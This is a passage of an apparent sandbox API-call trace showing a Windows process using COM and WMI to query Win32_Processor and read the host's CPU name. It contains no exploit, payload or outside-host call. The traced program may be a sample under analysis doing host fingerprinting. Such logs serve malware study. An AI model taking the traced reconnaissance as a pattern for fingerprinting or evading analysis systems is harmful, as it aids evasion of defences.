Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x12fdf04 | out: ppvObject=0x12fdf04*=0x0) returned 0x80004002 [0211.203] IUnknown:QueryInterface (in: This=0x6013038, riid=0x737dffc8*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x12fdeb4 | out: ppvObject=0x12fdeb4*=0x0) returned 0x80004002 [0211.203] IUnknown:QueryInterface (in: This=0x6013038, riid=0x73727604*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fdec0 | out: ppvObject=0x12fdec0*=0x601303c) returned 0x0 [0211.203] IMarshal:GetUnmarshalClass (in: This=0x601303c, riid=0x737b3e5c, pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x12fdec8 | out: pCid=0x12fdec8) returned 0x0 [0211.203] IUnknown:Release (This=0x601303c) returned 0x3 [0211.203] CoGetContextToken (in: pToken=0x12fdf20 | out: pToken=0x12fdf20) returned 0x0 [0211.203] CoGetContextToken (in: pToken=0x12fe328 | out: pToken=0x12fe328) returned 0x0 [0211.203] IUnknown:QueryInterface (in: This=0x6013038, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe3b4 | out: ppvObject=0x12fe3b4*=0x0) returned 0x80004002 [0211.203] IUnknown:Release (This=0x6013038) returned 0x2 [0211.203] CoGetContextToken (in: pToken=0x12fe900 | out: pToken=0x12fe900) returned 0x0 [0211.203] CoGetContextToken (in: pToken=0x12fe860 | out: pToken=0x12fe860) returned 0x0 [0211.203] IUnknown:QueryInterface (in: This=0x6013038, riid=0x12fe930*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x12fe92c | out: ppvObject=0x12fe92c*=0x6013038) returned 0x0 [0211.203] IUnknown:AddRef (This=0x6013038) returned 0x4 [0211.203] IUnknown:Release (This=0x6013038) returned 0x3 [0211.203] IUnknown:Release (This=0x6013038) returned 0x2 [0211.203] CoTaskMemFree (pv=0x13825b8) [0211.203] CoGetContextToken (in: pToken=0x12fec70 | out: pToken=0x12fec70) returned 0x0 [0211.203] IUnknown:AddRef (This=0x6013038) returned 0x3 [0211.203] IWbemClassObject:Get (in: This=0x6013038, wszName="__GENUS", lFlags=0, pVal=0x12fef84*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x12ff004*=0, plFlavor=0x12ff000*=0 | out: pVal=0x12fef84*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x12ff004*=3, plFlavor=0x12ff000*=64) returned 0x0 [0211.204] IWbemClassObject:Get (in: This=0x6013038, wszName="__PATH", lFlags=0, pVal=0x12fef68*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x12fefec*=0, plFlavor=0x12fefe8*=0 | out: pVal=0x12fef68*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\NQDPDE\\root\\CIMV2:Win32_Processor.DeviceID=\"CPU0\"", varVal2=0x0), pType=0x12fefec*=8, plFlavor=0x12fefe8*=64) returned 0x0 [0211.204] SysStringByteLen (bstr="\\\\NQDPDE\\root\\CIMV2:Win32_Processor.DeviceID=\"CPU0\"") returned 0x66 [0211.204] SysStringByteLen (bstr="\\\\NQDPDE\\root\\CIMV2:Win32_Processor.DeviceID=\"CPU0\"") returned 0x66 [0211.204] CoGetObjectContext (in: riid=0x319476c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12fef94 | out: ppv=0x12fef94*=0x135504c) returned 0x0 [0211.204] IComThreadingInfo:GetCurrentApartmentType (in: This=0x135504c, pAptType=0x12fef8c | out: pAptType=0x12fef8c*=1) returned 0x0 [0211.204] IUnknown:QueryInterface (in: This=0x135504c, riid=0x3194754*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x12fef90 | out: ppvObject=0x12fef90*=0x0) returned 0x80004002 [0211.204] IUnknown:Release (This=0x135504c) returned 0x1 [0211.205] CoGetClassObject (in: rclsid=0x1394304*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x737eb24c*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12fe8f0 | out: ppv=0x12fe8f0*=0x13825c8) returned 0x0 [0211.207] WbemDefPath:IUnknown:QueryInterface (in: This=0x13825c8, riid=0x73839e44*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x12feb0c | out: ppvObject=0x12feb0c*=0x0) returned 0x80004002 [0211.207] WbemDefPath:IClassFactory:CreateInstance (in: This=0x13825c8, pUnkOuter=0x0, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12feb18 | out: ppvObject=0x12feb18*=0x13a3d10) returned 0x0 [0211.207] WbemDefPath:IUnknown:Release (This=0x13825c8) returned 0x0 [0211.207] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a3d10, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe73c | out: ppvObject=0x12fe73c*=0x13a3d10) returned 0x0 [0211.208] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a3d10, riid=0x737e0328*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x12fe6f8 | out: ppvObject=0x12fe6f8*=0x0) returned 0x80004002 [0211.208] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a3d10, riid=0x737e0490*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x12fe2ec | out: ppvObject=0x12fe2ec*=0x0) returned 0x80004002 [0211.208] WbemDefPath:IUnknown:AddRef (This=0x13a3d10) returned 0x3 [0211.208] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a3d10, riid=0x737e0074*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x12fe04c | out: ppvObject=0x12fe04c*=0x0) returned 0x80004002 [0211.208] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a3d10, riid=0x737dffc8*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x12fdffc | out: ppvObject=0x12fdffc*=0x0) returned 0x80004002 [0211.208] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a3d10, riid=0x73727604*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe008 | out: ppvObject=0x12fe008*=0x13f3708) returned 0x0 [0211.208] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x13f3708, riid=0x737b3e5c, pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x12fe010 | out: pCid=0x12fe010) returned 0x0 [0211.208] WbemDefPath:IUnknown:Release (This=0x13f3708) returned 0x3 [0211.208] CoGetContextToken (in: pToken=0x12fe068 | out: pToken=0x12fe068) returned 0x0 [0211.208] CoGetContextToken (in: pToken=0x12fe470 | out: pToken=0x12fe470) returned 0x0 [0211.208] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a3d10, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe4fc | out: ppvObject=0x12fe4fc*=0x0) returned 0x80004002 [0211.208] WbemDefPath:IUnknown:Release (This=0x13a3d10) returned 0x2 [0211.208] WbemDefPath:IUnknown:Release (This=0x13a3d10) returned 0x1 [0211.208] CoGetContextToken (in: pToken=0x12fee10 | out: pToken=0x12fee10) returned 0x0 [0211.208] CoGetContextToken (in: pToken=0x12fed70 | out: pToken=0x12fed70) returned 0x0 [0211.208] WbemDefPath:IUnknown:QueryInterface (in: This=0x13a3d10, riid=0x12fee40*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x12fee3c | out: ppvObject=0x12fee3c*=0x13a3d10) returned 0x0 [0211.208] WbemDefPath:IUnknown:AddRef (This=0x13a3d10) returned 0x3 [0211.208] WbemDefPath:IUnknown:Release (This=0x13a3d10) returned 0x2 [0211.208] WbemDefPath:IWbemPath:SetText (This=0x13a3d10, uMode=0x4, pszPath="\\\\NQDPDE\\root\\CIMV2:Win32_Processor.DeviceID=\"CPU0\"") returned 0x0 [0211.208] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13a4090, puCount=0x12fefc0 | out: puCount=0x12fefc0*=0x2) returned 0x0 [0211.208] WbemDefPath:IWbemPath:GetText (in: This=0x13a4090, lFlags=4, puBuffLength=0x12fefbc*=0x0, pszText=0x0 | out: puBuffLength=0x12fefbc*=0xf, pszText=0x0) returned 0x0 [0211.208] WbemDefPath:IWbemPath:GetText (in: This=0x13a4090, lFlags=4, puBuffLength=0x12fefbc*=0xf, pszText="00000000000000" | out: puBuffLength=0x12fefbc*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0211.209] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13a4090, puCount=0x12fef8c | out: puCount=0x12fef8c*=0x2) returned 0x0 [0211.209] WbemDefPath:IWbemPath:GetText (in: This=0x13a4090, lFlags=4, puBuffLength=0x12fef88*=0x0, pszText=0x0 | out: puBuffLength=0x12fef88*=0xf, pszText=0x0) returned 0x0 [0211.209] WbemDefPath:IWbemPath:GetText (in: This=0x13a4090, lFlags=4, puBuffLength=0x12fef88*=0xf, pszText="00000000000000" | out: puBuffLength=0x12fef88*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0211.209] IWbemClassObject:Get (in: This=0x6013038, wszName="Name", lFlags=0, pVal=0x12fef88*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x3273070*=0, plFlavor=0x3273074*=0 | out: pVal=0x12fef88*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz", varVal2=0x0), pType=0x3273070*=8, plFlavor=0x3273074*=0) returned 0x0 [0211.209] SysStringByteLen (bstr="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz") returned 0x4e [0211.209] SysStringByteLen (bstr="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz") returned 0x4e [0211.209] IWbemClassObject:Get (in: This=0x6013038, wszName="Name", lFlags=0, pVal=0x12fef90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x3273070*=8, plFlavor=0x3273074*=0 | out: pVal=0x12fef90*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz", varVal2=0x0), pType=0x3273070*=8, plFlavor=0x3273074*=0) returned 0x0 [0211.209] SysStringByteLen (bstr="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz") returned 0x4e [0211.209] SysStringByteLen (bstr="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz") returned 0x4e [0211.209] CoTaskMemAlloc (cb=0x4) returned 0x13825b8 [0211.209] IEnumWbemClassObject:Next (in: This=0x13ac780, lTimeout=-1, uCount=0x1, apObjects=0x13825b8, puReturned=0x3272864 | out: apObjects=0x13825b8*=0x0, puReturned=0x3272864*=0x0) returned 0x1 [0211.211] CoTaskMemFree (pv=0x13825b8) [0211.211] CoGetContextToken (in: pToken=0x12feeb8 | out: pToken=0x12feeb8) returned 0x0 [0211.211] IUnknown:Release (This=0x13ac780) returned 0x1 [0211.211] IUnknown:Release (This=0x13ac780) returned 0x0 [0211.212] CoGetObjectContext (in: riid=0x319476c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12fefb0 | out: ppv=0x12fefb0*=0x135504c) returned 0x0 [0211.212] IComThreadingInfo:GetCurrentApartmentType (in: This=0x135504c, pAptType=0x12fefa8 | out: pAptType=0x12fefa8*=1) returned 0x0 [0211.212] IUnknown:QueryInterface (in: This=0x135504c, riid=0x3194754*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x12fefac | out: ppvObject=0x12fefac*=0x0) returned 0x80004002 [0211.212] IUnknown:Release (This=0x135504c) returned 0x1 [0211.212] CoGetClassObject (in: rclsid=0x1394304*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x737eb24c*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12fe908 | out: ppv=0x12fe908*=0x1382528) returned 0x0 [0211.212] WbemDefPath:IUnknown:QueryInterface (in: This=0x1382528, riid=0x73839e44*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x12feb24 | out: ppvObject=0x12feb24*=0x0) returned 0x80004002 [0211.212] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1382528, pUnkOuter=0x0, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12feb30 | out: ppvObject=0x12feb30*=0x13f22e8) returned 0x0 [0211.213] WbemDefPath:IUnknown:Release (This=0x1382528) returned 0x0 [0211.213] WbemDefPath:IUnknown:QueryInterface (in: This=0x13f22e8, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe754 | out: ppvObject=0x12fe754*=0x13f22e8) returned 0x0 [0211.213] WbemDefPath:IUnknown:QueryInterface (in: This=0x13f22e8, riid=0x737e0328*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x12fe710 | out: ppvObject=0x12fe710*=0x0) returned 0x80004002 [0211.213] WbemDefPath:IUnknown:QueryInterface (in: This=0x13f22e8, riid=0x737e0490*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x12fe304 | out: ppvObject=0x12fe304*=0x0) returned 0x80004002 [0211.213] WbemDefPath:IUnknown:AddRef (This=0x13f22e8) returned 0x3 [0211.213] WbemDefPath:IUnknown:QueryInterface (in: This=0x13f22e8, riid=0x737e0074*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x12fe064 | out: ppvObject=0x12fe064*=0x0) returned 0x80004002 [0211.213] WbemDefPath:IUnknown:QueryInterface (in: This=0x13f22e8, riid=0x737dffc8*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x12fe014 | out: ppvObject=0x12fe014*=0x0) returned 0x80004002 [0211.213] WbemDefPath:IUnknown:QueryInterface (in: This=0x13f22e8, riid=0x73727604*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe020 | out: ppvObject=0x12fe020*=0x13f3678) returned 0x0 [0211.213] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x13f3678, riid=0x737b3e5c, pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x12fe028 | out: pCid=0x12fe028) returned 0x0 [0211.213] WbemDefPath:IUnknown:Release (This=0x13f3678) returned 0x3 [0211.213] CoGetContextToken (in: pToken=0x12fe080 | out: pToken=0x12fe080) returned 0x0 [0211.213] CoGetContextToken (in: pToken=0x12fe488 | out: pToken=0x12fe488) returned 0x0 [0211.213] WbemDefPath:IUnknown:QueryInterface (in: This=0x13f22e8, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe514 | out: ppvObject=0x12fe514*=0x0) returned 0x80004002 [0211.213] WbemDefPath:IUnknown:Release (This=0x13f22e8) returned 0x2 [0211.213] WbemDefPath:IUnknown:Release (This=0x13f22e8) returned 0x1 [0211.213] CoGetContextToken (in: pToken=0x12fee28 | out: pToken=0x12fee28) returned 0x0 [0211.213] CoGetContextToken (in: pToken=0x12fed88 | out: pToken=0x12fed88) returned 0x0 [0211.213] WbemDefPath:IUnknown:QueryInterface (in: This=0x13f22e8, riid=0x12fee58*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x12fee54 | out: ppvObject=0x12fee54*=0x13f22e8) returned 0x0 [0211.213] WbemDefPath:IUnknown:AddRef (This=0x13f22e8) returned 0x3 [0211.213] WbemDefPath:IUnknown:Release (This=0x13f22e8) returned 0x2 [0211.213] WbemDefPath:IWbemPath:SetText (This=0x13f22e8, uMode=0x4, pszPath="root\\CIMV2") returned 0x0 [0211.213] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13f22e8, puCount=0x12fefd8 | out: puCount=0x12fefd8*=0x2) returned 0x0 [0211.213] WbemDefPath:IWbemPath:GetText (in: This=0x13f22e8, lFlags=4, puBuffLength=0x12fefd4*=0x0, pszText=0x0 | out: puBuffLength=0x12fefd4*=0xf, pszText=0x0) returned 0x0 [0211.214] WbemDefPath:IWbemPath:GetText (in: This=0x13f22e8, lFlags=4, puBuffLength=0x12fefd4*=0xf, pszText="00000000000000" | out: puBuffLength=0x12fefd4*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0211.214] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13f22e8, puCount=0x12fefc4 | out: puCount=0x12fefc4*=0x2) returned 0x0 [0211.214] WbemDefPath:IWbemPath:GetText (in: This=0x13f22e8, lFlags=4, puBuffLength=0x12fefc0*=0x0, pszText=0x0 | out: puBuffLength=0x12fefc0*=0xf, pszText=0x0) returned 0x0 [0211.214] WbemDefPath:IWbemPath:GetText (in: This=0x13f22e8, lFlags=4, puBuffLength=0x12fefc0*=0xf, pszText="00000000000000" | out: puBuffLength=0x12fefc0*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0211.214] CoGetObjectContext (in: riid=0x319476c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12fef54 | out: ppv=0x12fef54*=0x135504c) returned 0x0 [0211.214] IComThreadingInfo:GetCurrentApartmentType (in: This=0x135504c, pAptType=0x12fef4c | out: pAptType=0x12fef4c*=1) returned 0x0 [0211.214] IUnknown:QueryInterface (in: This=0x135504c, riid=0x3194754*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x12fef50 | out: ppvObject=0x12fef50*=0x0) returned 0x80004002 [0211.214] IUnknown:Release (This=0x135504c) returned 0x1 [0211.214] CoGetClassObject (in: rclsid=0x1394574*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x737eb24c*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x12feb60 | out: ppv=0x12feb60*=0x13f3858) returned 0x0 [0211.215] WbemLocator:IUnknown:QueryInterface (in: This=0x13f3858, riid=0x73839e44*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x12fed7c | out: ppvObject=0x12fed7c*=0x0) returned 0x80004002 [0211.215] WbemLocator:IClassFactory:CreateInstance (in: This=0x13f3858, pUnkOuter=0x0, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fed88 | out: ppvObject=0x12fed88*=0x1382528) returned 0x0 [0211.215] WbemLocator:IUnknown:Release (This=0x13f3858) returned 0x0 [0211.215] WbemLocator:IUnknown:QueryInterface (in: This=0x1382528, riid=0x737b3e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe9ac | out: ppvObject=0x12fe9ac*=0x1382528) returned 0x0 [0211.216] WbemLocator:IUnknown:QueryInterface (in: This=0x1382528, riid=0x737e0328*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x12fe968 | out: ppvObject=0x12fe968*=0x0) returned 0x80004002 [0211.216] WbemLocator:IUnknown:QueryInterface (in: This=0x1382528, riid=0x737e0490*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x12fe55c | out: ppvObject=0x12fe55c*=0x0) returned 0x80004002 [0211.217] WbemLocator:IUnknown:AddRef (This=0x1382528) returned 0x3 [0211.217] WbemLocator:IUnknown:QueryInterface (in: This=0x1382528, riid=0x737e0074*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x12fe2bc | out: ppvObject=0x12fe2bc*=0x0) returned 0x80004002 [0211.217] WbemLocator:IUnknown:QueryInterface (in: This=0x1382528, riid=0x737dffc8*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x12fe26c | out: ppvObject=0x12fe26c*=0x0) returned 0x80004002 [0211.217] WbemLocator:IUnknown:QueryInterface (in: This=0x1382528, riid=0x73727604*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe278 | out: ppvObject=0x12fe278*=0x0) returned 0x80004002 [0211.217] CoGetContextToken (in: pToken=0x12fe2d8 | out: pToken=0x12fe2d8) returned 0x0 [0211.217] CoGetContextToken (in: pToken=0x12fe6e0 | out: pToken=0x12fe6e0) returned 0x0 [0211.217] WbemLocator:IUnknown:QueryInterface (in: This=0x1382528, riid=0x737e02b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x12fe76c | out: ppvObject=0x12fe76c*=0x0) returned 0x80004002 [0211.217] WbemLocator:IUnknown:Release (This=0x1382528) returned 0x2 [0211.217] WbemLocator:IUnknown:Release (This=0x1382528) returned 0x1 [0211.217] CoGetContextToken (in: pToken=0x12fed68 | out: pToken=0x12fed68) returned 0x0 [0211.217] CoGetContextToken (in: pToken=0x12fecc8 | out: pToken=0x12fecc8) returned 0x0 [0211.217] WbemLocator:IUnknown:QueryInterface (in: This=0x1382528, riid=0x12fed98*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x12fed94 | out: ppvObject=0x12fed94*=0x1382528) returned 0x0 [0211.217] WbemLocator:IUnknown:AddRef (This=0x1382528) returned 0x3 [0211.217] WbemLocator:IUnknown:Release (This=0x1382528) returned 0x2 [0211.217] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x13f22e8, puCount=0x12fef30 | out: puCount=0x12fef30*=0x2) returned 0x0 [0211.217] WbemDefPath:IWbemPath:GetText (in: This=0x13f22e8, lFlags=8, puBuffLength=0x12fef2c*=0x0, pszText=0x0 | out: puBuffLength=0x12fef2c*=0xf, pszText=0x0) returned 0x0 [0211.217] WbemDefPath:IWbemPath:GetText (in: This=0x13f22e8, lFlags=8, puBuffLength=0x12fef2c*=0xf, pszText="00000000000000" | out: puBuffLength=0x12fef2c*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0211.217] CoCreateInstance (in: rclsid=0x6e5436ac*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x6e54370c*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), 